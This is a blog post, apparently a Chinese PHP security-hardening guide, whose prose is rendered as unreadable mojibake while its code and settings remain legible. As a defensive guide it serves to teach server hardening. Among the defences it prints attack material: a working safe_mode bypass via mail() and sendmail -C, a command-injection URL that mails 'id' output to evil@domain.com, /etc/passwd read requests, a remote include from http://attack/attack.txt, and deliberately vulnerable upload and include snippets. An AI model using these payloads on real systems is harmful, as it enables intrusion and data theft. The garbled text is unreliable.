À¶Í¼Íå
²©¿ÍÊ×Ò³
²©¿ÍÖ÷ÈË
¾ÛºÏ¶©ÔÄ
±êÇ©Áбí
ÒýÓÃÁбí
¿ØÖÆÃæ°å
²©¿ÍÈÕÀú
« July 2025 »
ÈÕ Ò» ¶þ Èý ËÄ Îå Áù
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
ÈÕÖ¾·ÖÀà
[RSS] ĬÈÏ·ÖÀà [6]
[RSS] Ô­´´ÎÄÕÂ [51]
[RSS] Ëæ±ÊͿѻ [4]
[RSS] ÍøÎIJÉߢ [58]
[RSS] µä²ØÈí¼þ [21]
[RSS] ×Ô±à³ÌÐò [3]
[RSS] ѧϰ±Ê¼Ç [54]
[RSS] ÄÚ²¿×ÊÁÏ [5]
[RSS] ·Ç¼¼ÊõÀà [2]
ÈÕÖ¾ÅÅÐò
ʱ¼ä
µã»÷
ÆÀÂÛ
ÒýÓÃ
ÈÕÖ¾¹éµµ
ÈýÔÂ, 2006
ËÄÔÂ, 2006
ÎåÔÂ, 2006
ÁùÔÂ, 2006
ÆßÔÂ, 2006
Ê®ÔÂ, 2006
ʮһÔÂ, 2006
Ê®¶þÔÂ, 2006
Ò»ÔÂ, 2007
¶þÔÂ, 2007
ÈýÔÂ, 2007
ËÄÔÂ, 2007

È«²¿...
ËÑË÷ÎÄÕÂ
¸ß¼¶ËÑË÷
ËÑË÷ÆÀÂÛ
×îÐÂÆÀÂÛ
ĿǰÎÞÈÎºÎÆÀÂÛ
07-17 - System
¸ü¶à...
²©¿Íͳ¼Æ
·ÖÀà: 9
ÎÄÕÂ: 204
ÆÀÂÛ: 0
±êÇ©: 3
¸½¼þ: 103
ÒýÓÃ: 0
½ñÈÕ·ÃÎÊ: 21775
×Ü·ÃÎÊÁ¿: 24991304
ÓÑÇéÁ¬½Ó
°²È«Ììʹ
ÌìÏÂÍøÃË
ºÓ±±µçÐŲâËÙ
ºÓ±±ÍøÍ¨²âËÙ
ÊÀ½çÍøÂç
ÍøÊÀ½ç
TT¹ºÎï
sysinternals
analogx
LinuxTOY
ÖйúÕ¾³¤Õ¾
ÖйúÍø¹ÜÂÛ̳
mikrotik¹ÙÍø
¹í×еÄBlog
¿ÉÒÉÎļþ¼ì²â
Òì´ÎÔª¤ÎÊÀ½ç
Ë®¾§ÅÝÅÝÌÔ±¦µê
¹»È¤ÌÃ
ËÀÐÔ²»¸Ä
¿ÉÒÉÎļþ¼ì²â2
Go Daddy
Ò»ÈËÓÎ×ß
Ò»¸ö¿Õ¼ä
¿ÉÒÉÎļþ¼ì²â3
ÌÚѶ¹þ²ª·ÖÎöϵͳ
Èí¼þÔµ
΢²½ÔÆÉ³Ïä
°²Ð¾Íø¶Ü
ÔÚÏß¹¤¾ß
Íø°Éά»¤¹¤¾ß
³ÌÐò°æÈ¨
Powered by: SaBlog
Ö´ÐÐʱ¼ä: 0.058462  Ãë, 15 ´Î²éѯ
¼½ICP±¸05030027ºÅ
ä¯ÀÀģʽ ±ê׼ģʽ Áбíģʽ ËùÓÐʱ¼ä¾ùΪ GMT +8:00 ±±¾©Ê±¼ä

PHP°²È«ÅäÖÃ

Ò»¡¢Web·þÎñÆ÷°²È«

PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØÖ·Ê¹ÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

 

¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£

¶þ¡¢PHP±¾ÉíÎÊÌâ

1¡¢Ô¶³ÌÒç³ö

PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ­¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß.

2¡¢Ô¶³Ì¾Ü¾ø·þÎñ

PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£

3¡¢safe_modeÈÆ¹ý©¶´

»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈÆ¹ýsafe_modeÏÞÖÆÖ´ÐÐÃüÁî©¶´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆÆ·Ç³£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º


Ö´ÐÐÈçϵÄURL£º

http://foo.com/evil.php?bar=;/usr/bin/id¡¡mail evil@domain.com

Õ⽫idÖ´ÐеĽá¹û·¢Ë͸øevil@domain.com¡£

¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ

#×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵģ¬
»òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>

 

»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£

Èý¡¢PHP±¾ÉíµÄ°²È«ÅäÖÃ
'knowsky.com
PHPµÄÅäÖ÷dz£Áé»î£¬¿ÉÒÔͨ¹ýphp.ini, httpd.conf, .htaccessÎļþ£¨¸ÃĿ¼±ØÐëÉèÖÃÁËAllowOverride All»òOptions£©½øÐÐÉèÖ㬻¹¿ÉÒÔÔڽű¾³ÌÐòÀïʹÓÃini_set()¼°ÆäËûµÄÌØ¶¨µÄº¯Êý½øÐÐÉèÖá£Í¨¹ýphpinfo()ºÍget_cfg_var()º¯Êý¿ÉÒԵõ½ÅäÖÃÑ¡ÏîµÄ¸÷¸öÖµ¡£

Èç¹ûÅäÖÃÑ¡ÏîÊÇΨһPHP_INI_SYSTEMÊôÐԵ쬱ØÐëͨ¹ýphp.iniºÍhttpd.confÀ´Ð޸ģ¬ËüÃÇÐ޸ĵÄÊÇPHPµÄMasterÖµ£¬µ«ÐÞ¸ÄÖ®ºó±ØÐëÖØÆôapache²ÅÄÜÉúЧ¡£ÆäÖÐphp.iniÉèÖõÄÑ¡ÏîÊǶÔWeb·þÎñÆ÷ËùÓнű¾ÉúЧ£¬httpd.confÀïÉèÖõÄÑ¡ÏîÊǶԸö¨ÒåµÄĿ¼ÏÂËùÓнű¾ÉúЧ¡£

Èç¹û»¹ÓÐÆäËûµÄPHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALLÊôÐÔµÄÑ¡Ïî¾Í¿ÉÒÔʹÓÃ.htaccessÎļþÉèÖã¬Ò²¿ÉÒÔͨ¹ýÔڽű¾³ÌÐò×ÔÉíÓÃini_set()º¯ÊýÉ趨£¬ËüÃÇÐ޸ĵÄÊÇLocalÖµ£¬¸ÄÁËÒÔºóÂíÉÏÉúЧ¡£µ«ÊÇ.htaccessÖ»¶Ôµ±Ç°Ä¿Â¼µÄ½Å±¾³ÌÐòÉúЧ£¬ini_set()º¯ÊýÖ»¶Ô¸Ã½Å±¾³ÌÐòÉèÖÃini_set()º¯ÊýÒÔºóµÄ´úÂëÉúЧ¡£¸÷¸ö°æ±¾µÄÑ¡ÏîÊôÐÔ¿ÉÄܲ»¾¡Ïàͬ£¬¿ÉÒÔÓÃÈçÏÂÃüÁî²éÕÒµ±Ç°Ô´´úÂëµÄmain.cÎļþµÃµ½ËùÓеÄÑ¡ÏÒÔ¼°ËüµÄÊôÐÔ£º

# grep PHP_INI_ /PHP_SRC/main/main.c

 

ÔÚÌÖÂÛPHP°²È«ÅäÖÃ֮ǰ£¬Ó¦¸ÃºÃºÃÁ˽âPHPµÄsafe_modeģʽ¡£

1¡¢safe_mode

safe_modeÊÇΨһPHP_INI_SYSTEMÊôÐÔ£¬±ØÐëͨ¹ýphp.ini»òhttpd.confÀ´ÉèÖá£ÒªÆôÓÃsafe_mode£¬Ö»ÐèÐÞ¸Äphp.ini£º

safe_mode = On
»òÕßÐÞ¸Ähttpd.conf£¬¶¨ÒåĿ¼£º

Options FollowSymLinks
php_admin_value safe_mode 1

 


ÖØÆôapacheºósafe_mode¾ÍÉúЧÁË¡£Æô¶¯safe_mode£¬»á¶ÔÐí¶àPHPº¯Êý½øÐÐÏÞÖÆ£¬ÌرðÊǺÍϵͳÏà¹ØµÄÎļþ´ò¿ª¡¢ÃüÁîÖ´ÐеȺ¯Êý¡£

ËùÓвÙ×÷ÎļþµÄº¯Êý½«Ö»ÄܲÙ×÷Óë½Å±¾UIDÏàͬµÄÎļþ£¬±ÈÈçtest.php½Å±¾µÄÄÚÈÝΪ£º


¼¸¸öÎļþµÄÊôÐÔÈçÏ£º
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

 

ÔÚä¯ÀÀÆ÷ÇëÇótest.php»áÌáʾÈçϵĴíÎóÐÅÏ¢£º

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

Èç¹û±»²Ù×÷ÎļþËùÔÚĿ¼µÄUIDºÍ½Å±¾UIDÒ»Ö£¬ÄÇô¸ÃÎļþµÄUID¼´Ê¹ºÍ½Å±¾²»Í¬Ò²¿ÉÒÔ·ÃÎʵ쬲»ÖªÕâÊÇ·ñÊÇPHPµÄÒ»¸ö©¶´»¹ÊÇÁíÓÐÒþÇé¡£ËùÒÔphp½Å±¾ÊôÖ÷Õâ¸öÓû§×îºÃ¾ÍÖ»×÷Õâ¸öÓÃ;£¬¾ø¶Ô½ûֹʹÓÃroot×öΪphp½Å±¾µÄÊôÖ÷£¬ÕâÑù¾Í´ï²»µ½safe_modeµÄЧ¹ûÁË¡£

Èç¹ûÏ뽫Æä·Å¿íµ½GID±È½Ï£¬Ôò´ò¿ª safe_mode_gid¿ÉÒÔ¿¼ÂÇÖ»±È½ÏÎļþµÄGID£¬¿ÉÒÔÉèÖÃÈçÏÂÑ¡Ï

safe_mode_gid = On

ÉèÖÃÁËsafe_modeÒÔºó£¬ËùÓÐÃüÁîÖ´Ðеĺ¯Êý½«±»ÏÞÖÆÖ»ÄÜÖ´ÐÐphp.iniÀïsafe_mode_exec_dirÖ¸¶¨Ä¿Â¼ÀïµÄ³ÌÐò£¬¶øÇÒshell_exec¡¢`ls -l`ÕâÖÖÖ´ÐÐÃüÁîµÄ·½Ê½»á±»½ûÖ¹¡£Èç¹ûȷʵÐèÒªµ÷ÓÃÆäËü³ÌÐò£¬¿ÉÒÔÔÚphp.ini×öÈçÏÂÉèÖãº

safe_mode_exec_dir = /usr/local/php/exec

È»ºó¿½±´³ÌÐòµ½¸ÃĿ¼£¬ÄÇôphp½Å±¾¾Í¿ÉÒÔÓÃsystemµÈº¯ÊýÀ´Ö´ÐиóÌÐò¡£¶øÇÒ¸ÃĿ¼ÀïµÄshell½Å±¾»¹ÊÇ¿ÉÒÔµ÷ÓÃÆäËüĿ¼ÀïµÄϵͳÃüÁî¡£

safe_mode_include_dir string

µ±´Ó´ËĿ¼¼°Æä×ÓĿ¼£¨Ä¿Â¼±ØÐëÔÚ include_path ÖлòÕßÓÃÍêÕû·¾¶À´°üº¬£©°üº¬ÎļþʱԽ¹ý UID/GID ¼ì²é¡£

´Ó PHP 4.2.0 ¿ªÊ¼£¬±¾Ö¸Áî¿ÉÒÔ½ÓÊÜºÍ include_path Ö¸ÁîÀàËÆµÄ·ç¸ñÓ÷ֺŸô¿ªµÄ·¾¶£¬¶ø²»Ö»ÊÇÒ»¸öĿ¼¡£

Ö¸¶¨µÄÏÞÖÆÊµ¼ÊÉÏÊÇÒ»¸öǰ׺£¬¶ø·ÇÒ»¸öĿ¼Ãû¡£ÕâÒ²¾ÍÊÇ˵¡°safe_mode_include_dir = /dir/incl¡±½«ÔÊÐí·ÃÎÊ¡°/dir/include¡±ºÍ¡°/dir/incls¡±£¬Èç¹ûËüÃÇ´æÔÚ¡£Èç¹ûÄúÏ£Íû½«·ÃÎÊ¿ØÖÆÔÚÒ»¸öÖ¸¶¨µÄĿ¼£¬ÄÇôÇëÔÚ½áβ¼ÓÉÏÒ»¸öбÏߣ¬ÀýÈ磺¡°safe_mode_include_dir = /dir/incl/¡±¡£

safe_mode_allowed_env_vars string

ÉèÖÃijЩ»·¾³±äÁ¿¿ÉÄÜÊÇDZÔڵݲȫȱ¿Ú¡£±¾Ö¸Áî°üº¬ÓÐÒ»¸ö¶ººÅ·Ö¸ôµÄǰ׺ÁÐ±í¡£ÔÚ°²È«Ä£Ê½Ï£¬Óû§Ö»ÄܸıäÄÇЩÃû×Ö¾ßÓÐÔÚÕâÀïÌṩµÄǰ׺µÄ»·¾³±äÁ¿¡£Ä¬ÈÏÇé¿öÏ£¬Óû§Ö»ÄÜÉèÖÃÒÔ PHP_ ¿ªÍ·µÄ»·¾³±äÁ¿£¨ÀýÈç PHP_FOO = BAR£©¡£

×¢: Èç¹û±¾Ö¸ÁîΪ¿Õ£¬PHP ½«Ê¹Óû§¿ÉÒÔÐÞ¸ÄÈκλ·¾³±äÁ¿£¡

safe_mode_protected_env_vars string

±¾Ö¸Áî°üº¬ÓÐÒ»¸ö¶ººÅ·Ö¸ôµÄ»·¾³±äÁ¿µÄÁÐ±í£¬×îÖÕÓû§²»ÄÜÓà putenv() À´¸Ä±äÕâЩ»·¾³±äÁ¿¡£ÉõÖÁÔÚ safe_mode_allowed_env_vars ÖÐÉèÖÃÁËÔÊÐíÐÞ¸ÄʱҲ²»ÄܸıäÕâЩ±äÁ¿¡£

ËäÈ»safe_mode²»ÊÇÍòÄܵģ¨µÍ°æ±¾µÄPHP¿ÉÒÔÈÆ¹ý£©£¬µ«»¹ÊÇÇ¿ÁÒ½¨Òé´ò¿ª°²È«Ä£Ê½£¬ÔÚÒ»¶¨³Ì¶ÈÉÏÄܹ»±ÜÃâһЩδ֪µÄ¹¥»÷¡£²»¹ýÆôÓÃsafe_mode»áÓкܶàÏÞÖÆ£¬¿ÉÄܶÔÓ¦ÓôøÀ´Ó°Ï죬ËùÒÔ»¹ÐèÒªµ÷Õû´úÂëºÍÅäÖòÅÄܺÍг¡£±»°²È«Ä£Ê½ÏÞÖÆ»òÆÁ±ÎµÄº¯Êý¿ÉÒԲο¼PHPÊֲᡣ

ÌÖÂÛÍêsafe_modeºó£¬ÏÂÃæ½áºÏ³ÌÐò´úÂëʵ¼Ê¿ÉÄܳöÏÖµÄÎÊÌâÌÖÂÛÈçºÎͨ¹ý¶ÔPHP·þÎñÆ÷¶ËµÄÅäÖÃÀ´±ÜÃâ³öÏֵĩ¶´¡£

2¡¢±äÁ¿ÀÄÓÃ

PHPĬÈÏregister_globals = On£¬¶ÔÓÚGET, POST, Cookie, Environment, SessionµÄ±äÁ¿¿ÉÒÔÖ±½Ó×¢²á³ÉÈ«¾Ö±äÁ¿¡£ËüÃǵÄ×¢²á˳ÐòÊÇvariables_order = "EGPCS"£¨¿ÉÒÔͨ¹ýphp.iniÐ޸ģ©£¬Í¬Ãû±äÁ¿variables_orderÓұߵĸ²¸Ç×ó±ß£¬ËùÒÔ±äÁ¿µÄÀÄÓü«Ò×Ôì³É³ÌÐòµÄ»ìÂÒ¡£¶øÇҽű¾³ÌÐòÔ±ÍùÍùûÓжԱäÁ¿³õʼ»¯µÄϰ¹ß£¬ÏñÈçϵijÌÐòƬ¶Ï¾Í¼«Ò×Êܵ½¹¥»÷£º

//test_1.php
if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>


¹¥»÷ÕßÖ»ÐèÓÃÈçϵÄÇëÇó¾ÍÄÜÈÆ¹ý¼ì²é£º

http://victim/test_1.php?auth=1

ÕâËäÈ»ÊÇÒ»¸öºÜÈõÖǵĴíÎ󣬵«Ò»Ð©ÖøÃûµÄ³ÌÐòÒ²Óз¸¹ýÕâÖÖ´íÎ󣬱ÈÈçphpnukeµÄÔ¶³ÌÎļþ¿½±´Â©¶´£ºhttp://www.securityfocus.com/bid/3361

PHP-4.1.0·¢²¼µÄʱºò½¨Ò鹨±Õregister_globals£¬²¢ÌṩÁË7¸öÌØÊâµÄÊý×é±äÁ¿À´Ê¹Óø÷ÖÖ±äÁ¿¡£¶ÔÓÚ´ÓGET¡¢POST¡¢COOKIEµÈÀ´µÄ±äÁ¿²¢²»»áÖ±½Ó×¢²á³É±äÁ¿£¬±ØÐèͨ¹ýÊý×é±äÁ¿À´´æÈ¡¡£PHP-4.2.0·¢²¼µÄʱºò£¬php.iniĬÈÏÅäÖþÍÊÇregister_globals = Off¡£ÕâʹµÃ³ÌÐòʹÓÃPHP×ÔÉí³õʼ»¯µÄĬÈÏÖµ£¬Ò»°ãΪ0£¬±ÜÃâÁ˹¥»÷Õß¿ØÖÆÅжϱäÁ¿¡£

½â¾ö·½·¨£º

ÅäÖÃÎļþphp.iniÉèÖÃregister_globals = Off¡£

ÒªÇó³ÌÐòÔ±¶Ô×÷ΪÅжϵıäÁ¿ÔÚ³ÌÐò×ʼ³õʼ»¯Ò»¸öÖµ¡£

3¡¢Îļþ´ò¿ª

¼«Ò×Êܹ¥»÷µÄ´úÂëÆ¬¶Ï£º

//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>

 

ÓÉÓÚ¹¥»÷Õß¿ÉÒÔÖ¸¶¨ÈÎÒâµÄ$filename£¬¹¥»÷ÕßÓÃÈçϵÄÇëÇó¾Í¿ÉÒÔ¿´µ½/etc/passwd£º

http://victim/test_2.php?filename=/etc/passwd

ÈçÏÂÇëÇó¿ÉÒÔ¶ÁphpÎļþ±¾Éí£º

http://victim/test_2.php?filename=test_2.php

PHPÖÐÎļþ´ò¿ªº¯Êý»¹ÓÐfopen(), file()µÈ£¬Èç¹û¶ÔÎļþÃû±äÁ¿¼ì²é²»ÑϾͻáÔì³É·þÎñÆ÷ÖØÒªÎļþ±»·ÃÎʶÁÈ¡¡£

½â¾ö·½·¨£º

Èç·ÇÌØÊâÐèÒª£¬°ÑphpµÄÎļþ²Ù×÷ÏÞÖÆÔÚwebĿ¼ÀïÃæ¡£ÒÔÏÂÊÇÐÞ¸ÄapacheÅäÖÃÎļþhttpd.confµÄÒ»¸öÀý×Ó£º


php_admin_value open_basedir /usr/local/apache/htdocs


ÖØÆôapacheºó£¬/usr/local/apache/htdocsĿ¼ÏµÄPHP½Å±¾¾ÍÖ»ÄܲÙ×÷Ëü×Ô¼ºÄ¿Â¼ÏµÄÎļþÁË£¬·ñÔòPHP¾Í»á±¨´í£º

Warning: open_basedir restriction in effect.

File is in wrong directory in xxx on line xx.

ʹÓÃsafe_modeģʽҲÄܱÜÃâÕâÖÖÎÊÌâ£¬Ç°ÃæÒѾ­ÌÖÂÛ¹ýÁË¡£

4¡¢°üº¬Îļþ

¼«Ò×Êܹ¥»÷µÄ´úÂëÆ¬¶Ï£º

//test_3.php
if(file_exists($filename))
include("$filename");
?>

 

ÕâÖÖ²»¸ºÔðÈεĴúÂë»áÔì³ÉÏ൱´óµÄΣº¦£¬¹¥»÷ÕßÓÃÈçÏÂÇëÇó¿ÉÒԵõ½/etc/passwdÎļþ£º

http://victim/test_3.php?filename=/etc/passwd

Èç¹û¶ÔÓÚUnix°æµÄPHP£¨Win°æµÄPHP²»Ö§³ÖÔ¶³Ì´ò¿ªÎļþ£©¹¥»÷Õß¿ÉÒÔÔÚ×Ô¼º¿ªÁËhttp»òftp·þÎñµÄ»úÆ÷ÉϽ¨Á¢Ò»¸ö°üº¬shellÃüÁîµÄÎļþ£¬Èçhttp://attack/attack.txtµÄÄÚÈÝÊÇ£¬ÄÇôÈçϵÄÇëÇó¾Í¿ÉÒÔÔÚÄ¿±êÖ÷»úÖ´ÐÐÃüÁîls /etc£º

http://victim/test_3.php?filename=http://attack/attack.txt

¹¥»÷ÕßÉõÖÁ¿ÉÒÔͨ¹ý°üº¬apacheµÄÈÕÖ¾Îļþaccess.logºÍerror.logÀ´µÃµ½Ö´ÐÐÃüÁîµÄ´úÂ룬²»¹ýÓÉÓÚ¸ÉÈÅÐÅϢ̫¶à£¬ÓÐʱ²»Ò׳ɹ¦¡£

¶ÔÓÚÁíÍâÒ»ÖÖÐÎʽ£¬ÈçÏ´úÂëÆ¬¶Ï£º

//test_4.php
include("$lib/config.php");
?>

 

¹¥»÷Õß¿ÉÒÔÔÚ×Ô¼ºµÄÖ÷»ú½¨Á¢Ò»¸ö°üº¬Ö´ÐÐÃüÁî´úÂëµÄconfig.phpÎļþ£¬È»ºóÓÃÈçÏÂÇëÇóÒ²¿ÉÒÔÔÚÄ¿±êÖ÷»úÖ´ÐÐÃüÁ

http://victim/test_4.php?lib=http://attack

PHPµÄ°üº¬º¯ÊýÓÐinclude(), include_once(), require(), require_once¡£Èç¹û¶Ô°üº¬ÎļþÃû±äÁ¿¼ì²é²»ÑϾͻá¶ÔϵͳÔì³ÉÑÏÖØÎ£ÏÕ£¬¿ÉÒÔÔ¶³ÌÖ´ÐÐÃüÁî¡£

½â¾ö·½·¨£º

ÒªÇó³ÌÐòÔ±°üº¬ÎļþÀïµÄ²ÎÊý¾¡Á¿²»ÒªÊ¹ÓñäÁ¿£¬Èç¹ûʹÓñäÁ¿£¬¾ÍÒ»¶¨ÒªÑϸñ¼ì²éÒª°üº¬µÄÎļþÃû£¬¾ø¶Ô²»ÄÜÓÉÓû§ÈÎÒâÖ¸¶¨¡£

ÈçÇ°ÃæÎļþ´ò¿ªÖÐÏÞÖÆPHP²Ù×÷·¾¶ÊÇÒ»¸ö±ØÒªµÄÑ¡Ïî¡£ÁíÍ⣬Èç·ÇÌØÊâÐèÒª£¬Ò»¶¨Òª¹Ø±ÕPHPµÄÔ¶³ÌÎļþ´ò¿ª¹¦ÄÜ¡£ÐÞ¸Äphp.iniÎļþ£º

allow_url_fopen = Off

ÖØÆôapache¡£
5¡¢ÎļþÉÏ´«

phpµÄÎļþÉÏ´«»úÖÆÊǰÑÓû§ÉÏ´«µÄÎļþ±£´æÔÚphp.iniµÄupload_tmp_dir¶¨ÒåµÄÁÙʱĿ¼£¨Ä¬ÈÏÊÇϵͳµÄÁÙʱĿ¼£¬È磺/tmp£©ÀïµÄÒ»¸öÀàËÆphpxXuoXGµÄËæ»úÁÙʱÎļþ£¬³ÌÐòÖ´ÐнáÊø£¬¸ÃÁÙʱÎļþÒ²±»É¾³ý¡£PHP¸øÉÏ´«µÄÎļþ¶¨ÒåÁËËĸö±äÁ¿£º£¨Èçform±äÁ¿ÃûÊÇfile£¬¶øÇÒregister_globals´ò¿ª£©

$file #¾ÍÊDZ£´æµ½·þÎñÆ÷¶ËµÄÁÙʱÎļþ£¨Èç/tmp/phpxXuoXG £©
$file_size #ÉÏ´«ÎļþµÄ´óС
$file_name #ÉÏ´«ÎļþµÄԭʼÃû³Æ
$file_type #ÉÏ´«ÎļþµÄÀàÐÍ

 

ÍÆ¼öʹÓãº

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

 

ÕâÊÇÒ»¸ö×î¼òµ¥µÄÎļþÉÏ´«´úÂ룺

//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "Îļþ".$file_name."ÉÏ´«³É¹¦£¡µã»÷¼ÌÐøÉÏ´«";
exit;
}
?>


content="text/html; charset=gb2312">


ÉÏ´«Îļþ:


ÕâÑùµÄÉÏ´«´úÂë´æÔÚ¶ÁÈ¡ÈÎÒâÎļþºÍÖ´ÐÐÃüÁîµÄÖØ´óÎÊÌâ¡£

ÏÂÃæµÄÇëÇó¿ÉÒÔ°Ñ/etc/passwdÎĵµ¿½±´µ½webĿ¼/usr/local/apache/htdocs/test£¨×¢Ò⣺Õâ¸öĿ¼±ØÐënobody¿Éд£©ÏµÄattack.txtÎļþÀ

http://victim/test_5.php?upload= ... ile_name=attack.txt

È»ºó¿ÉÒÔÓÃÈçÏÂÇëÇó¶ÁÈ¡¿ÚÁîÎļþ£º

http://victim/test/attack.txt

¹¥»÷Õß¿ÉÒÔ°ÑphpÎļþ¿½±´³ÉÆäËüÀ©Õ¹Ãû£¬Ð¹Â©½Å±¾Ô´´úÂë¡£

¹¥»÷Õß¿ÉÒÔ×Ô¶¨ÒåformÀïfile_name±äÁ¿µÄÖµ£¬ÉÏ´«¸²¸ÇÈÎÒâÓÐдȨÏÞµÄÎļþ¡£

¹¥»÷Õß»¹¿ÉÒÔÉÏ´«PHP½Å±¾Ö´ÐÐÖ÷»úµÄÃüÁî¡£

½â¾ö·½·¨£º

PHP-4.0.3ÒÔºóÌṩÁËis_uploaded_fileºÍmove_uploaded_fileº¯Êý£¬¿ÉÒÔ¼ì²é²Ù×÷µÄÎļþÊÇ·ñÊÇÓû§ÉÏ´«µÄÎļþ£¬´Ó¶ø±ÜÃâ°ÑϵͳÎļþ¿½±´µ½webĿ¼¡£

ʹÓÃ$HTTP_POST_FILESÊý×éÀ´¶ÁÈ¡Óû§ÉÏ´«µÄÎļþ±äÁ¿¡£

Ñϸñ¼ì²éÉÏ´«±äÁ¿¡£±ÈÈç²»ÔÊÐíÊÇphp½Å±¾Îļþ¡£

°ÑPHP½Å±¾²Ù×÷ÏÞÖÆÔÚwebĿ¼¿ÉÒÔ±ÜÃâ³ÌÐòԱʹÓÃcopyº¯Êý°ÑϵͳÎļþ¿½±´µ½webĿ¼¡£move_uploaded_file²»ÊÜopen_basedirµÄÏÞÖÆ£¬ËùÒÔ²»±ØÐÞ¸Äphp.iniÀïupload_tmp_dirµÄÖµ¡£

°ÑPHP½Å±¾ÓÃphpencode½øÐмÓÃÜ£¬±ÜÃâÓÉÓÚcopy²Ù×÷й©ԴÂë¡£

ÑϸñÅäÖÃÎļþºÍĿ¼µÄȨÏÞ£¬Ö»ÔÊÐíÉÏ´«µÄĿ¼Äܹ»ÈÃnobodyÓû§¿Éд¡£

¶ÔÓÚÉÏ´«Ä¿Â¼È¥µôPHP½âÊ͹¦ÄÜ£¬¿ÉÒÔͨ¹ýÐÞ¸Ähttpd.confʵÏÖ£º


php_flag engine off
#Èç¹ûÊÇphp3»»³Éphp3_engine off

 


ÖØÆôapache£¬uploadĿ¼µÄphpÎļþ¾Í²»Äܱ»apache½âÊÍÁË£¬¼´Ê¹ÉÏ´«ÁËphpÎļþҲûÓÐÎÊÌ⣬ֻÄÜÖ±½ÓÏÔʾԴÂë¡£

6¡¢ÃüÁîÖ´ÐÐ

